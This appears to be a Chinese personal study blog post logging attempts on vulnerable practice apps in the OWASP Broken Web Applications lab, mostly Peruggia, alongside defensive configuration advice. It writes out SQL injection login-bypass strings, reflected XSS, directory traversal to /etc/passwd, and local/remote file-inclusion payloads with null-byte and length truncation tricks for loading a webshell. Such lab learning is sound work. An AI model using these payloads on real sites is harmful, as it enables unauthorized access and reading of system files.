我在江北学安全(三) Broken Web Application各个击破

一.OWASP Vicnum

1.状态操控:能够在网页源代码下查看相关信息如答案


2.SQL注入:/vicnum/cgi-bin/vicnum3.pl 访问不到
不会用POST方法把变量传递上去:
player=a&cnt=7),("nomnom",99999,0)-- - &VIEWSTATE=MTY3
访问不到就不知道怎么注入了,这个他们确定是这个页面吗?


3.Reflected XSS 反射XSS(非持久XSS,需要用户点击链接才有效,论坛那些是嵌入到DB中,持久XSS)
http://owaspbwa/vicnum/vicnum5.php?player=<script>alert(1)</script>
没法用,因为/vicnum/vicnum5.php 访问不到


4.SQL注入:没法使用,因为/vicnum/vicnum5.php 访问不到


5.反射XSS没法使用http://10.0.54.42/vicnum/cgi-bin/vicnum1.pl访问不到




小结:vicnum网站很多漏洞都无法重现,两个SQL注入和两个反射XSS都因为访问不到页面而作废
这个是我打开的方式不对呢?还是在部署的时候没搞对呢?如果下个web app也各种不能访问的话,可能是部署问题了。


二.Google Gruyere

关于这个web app只找到少数的资料:
官方地址: http://google-gruyere.appspot.com/
可以直接在线答题 也可以下载代码在本地搭建
代码地址: http://jarlsberg.appspot.com/code/
本地搭建时注意只能用 python2.5 其他高版本的不行
然后各种教程基本都打不开:http://google-gruyere.appspot.com/part1
访问本地的google gruyere也出现:
Service Temporarily Unavailable
The server is temporarily unable to service your request due to maintenance downtime or capacity problems. 
Please try again later.


小结:这个google gruyere进不去,搞不了,等以后能进去再说吧,然后bug report中也没有gruyere的msg,哎,看来是被抛弃了~


三.WackoPicko

小结:闹不住。。没漏洞



四.Peruggia 一个很简约的看起来像是blog或者论坛的web app



1.SQL注入绕过login Bypass 

report说明:
sql injection in login. POST data could look like :
username=' or 1=1-- -&password=aaa
那么我们就可以在username这一textbox填写' or 1=1 -- (必须加个空格)
password 填写 aaa(或者不填)
而不是在URL地址栏这么填写:
http://10.0.54.42/peruggia/index.php?action=login?username=' or 1=1-- -&password=aaa




2.目录遍历 

/peruggia/index.php?action=../../../../../../../etc/passwd%00
我知道目录遍历漏洞是怎么产生的:'/'的不一致!
请看下面的php代码:
<?php 
readfile("/home/user/data".$_GET['data_file'])
?>
这是一段存在安全问题的代码,我可以在URL地址栏这么写:
http://hostname/readfile.php?datafile=../../../etc/passwd
这样子就会被解析成:
/home/user/data/../../../etc/passwd从而看到了用户目录


再比如看下面php服务器配置:
  location /paper {
           alias /home/wwwroot/paper/;
           autoindex on;
       }
这里的 /paper 和 alias /home/wwwroot/paper/ 不一致
导致访问 http://homelocal/paper/ 本来应该是paper目录的内容,但是
可以访问 http://homelocal/paper../ 可以看到了/home/wwwroot/的内容了


安全建议 1:
使用如下配置
location /paper {
    alias /home/wwwroot/paper;

location /paper/ {
    alias /home/wwwroot/paper/;

安全建议 2:
程序中检查特殊符号“..” 


安全建议 3:
php.ini或者httpd.conf下
open_basedir = /home/user/:/tmp/ 加入open_basedir 能够访问的目录,多个用“:”隔开

有时候不解析 '/'符号怎么办?不解析'.'符号,怎么办?
参考文章:http://blog.csdn.net/xihuanqiqi/article/details/8063980


3.Remove(Local) File Inclusion 远程(本地)文件包含

PHP程序员把一些重复用到的代码放在一个文件中,以后要用到就可以包含之就好了。
函数:include() require() require_once() include_once()
include()和require()用于包含并运行指定文件,唯一的区别在于:
前者失败时会产生一个警告,后者在失败时则直接导致致命错误。
include_once()和require_once()和上述两个函数差不多,只不过只包含一次,不重复包含。
本地包含例子:
xxx/main.php?id=local.php
远程包含例子:
xxx/main.php?id=http://xxx/index.php
Ps:在php.ini中"allow_url_fopen"功能是默认On的,可以用URL连接的形式来指定要被包括的文件,进行远程包含调用。


看看这段URL:
xxx/main.php?id=../../../etc/passwd


安全建议1:(远程)如果不是特殊要求,在php.ini中把allow_url_open(PHP4中)设置为off,防止远程包含文件漏洞利用
安全建议2:(远程)include,require文件时候加个目录名字如include("upload/".$_GET['id']);可以防止远程包含
安全建议3:(本地)去掉php.ini文件中open_basedir =前面的; 然后再=on  它会阻止你绕过过多的目录


Ps:
allow_url_fopen和allow_url_include是决定包含属于本地文件包含(LFI)还是远程文件包含 (RFI)的条件,
在PHP4中则只有一个allow_url_fopen选择。
其中allow_url_fopen和 allow_url_include为0n的情况为远程文件包含漏洞,相反为本地文件包含漏洞


思考1:远程包含文件的时候这个文件是不是要自己搭个服务器(或者别人搭好了)然后放上小马呢?
思考2:加入这个xxx/main.php?id=http://xxx/index.php中的http://xxx/index.php是个网马,include之后是
       以什么形式存在呢?网页吗?还是说当前页面就变成了这个webshell?
回答1:已经有的网站能够提供shell,这个以后要细心找找。
回答2:已经是直接打开就好了。   


Ps:文件包含截断
有两种经典的包含:
include("$_GET['dir']/test.php");
include("$_GET['dir']");
第二种就直接写就行了,第一种需要截断,截断有三种方法:
(1)使用“%00”如:http://localhost/include.php?dir=shell.txt%00,前提Magic_quote为off且为LFI
这里的Magic_quote,魔术引号的作用是将提交的数据自动进行转义。
开启后转义,如单引号,双引号,反斜线,NULL字符会在之后自动加个反斜线。导致“%00”失效!
(2)使用“?”如:http://127.0.0.1:81/include.php?dir=http://127.0.0.1:81/shell.txt?,前提只能用RFI
这个相当于重新GET提交了一遍。
(3)突破长度如:http://127.0.0.1:81/include.php?dir=http://127.0.0.1:81/shell.txt//////////////////////////...///




4.反射XSS

http://owaspbwa/peruggia/index.php?action=learn&type=<script>alert(1)</script>&paper=...
很不幸,还是不行。没有alert(1)。不知道这么为什么?
至今为止发现只要是反射XSS都不行。




5.缺少访问控制

http://10.0.54.42/peruggia/index.php?action=account 可以直接删除用户而不用登录
思考1:那么这个如果用扫描器来扫描的话,是不是不清楚这个漏洞的存在呢?因为扫描器不知道这个对我们来说有用,
       它只知道这个URL是否有效啊?
思考2:意味着如果不在页面开始加限制的话,所有的页面我都能访问吗?


回答1:个人认为扫描器很笨,如果能够扫到它,我们还是要手工查看扫描结果并且自行判断哪些URL对我们有用。   
回答2:应该是这样子的。


小结:

Peruggia这个网站还真的是有爱啊,让我学到了如下这么多的东西如远程(本地)文件包含以及文件截断,目录遍历,
万能密码及其备注--(加空格),缺少访问控制(这个想法虽然很简单,但是以前却没想过,哎~),反射XSS(虽然没用,但是原理懂了~~)




五.hackxor 是一个用hack知识通关的游戏平台吧。。



小结:没有漏洞资料,不研究。


六.BodgeIt 是一个商店网站,可能是放一些应用上去卖



小结:没有漏洞资料,不研究。




七.WordPress 不用我说了,特别出名的webblog,上次ISCC比赛就被它整过。

1.Command Injection  是个Remote Shell Injection Exploit

远程Shell注入漏洞利用,针对它有这个技术文章:http://www.exploit-db.com/exploits/6/

没看懂这脚本。

哎。。今天就先到这里吧。。晚安。


你可能感兴趣的:(Web,PHP,shell,application,url,include)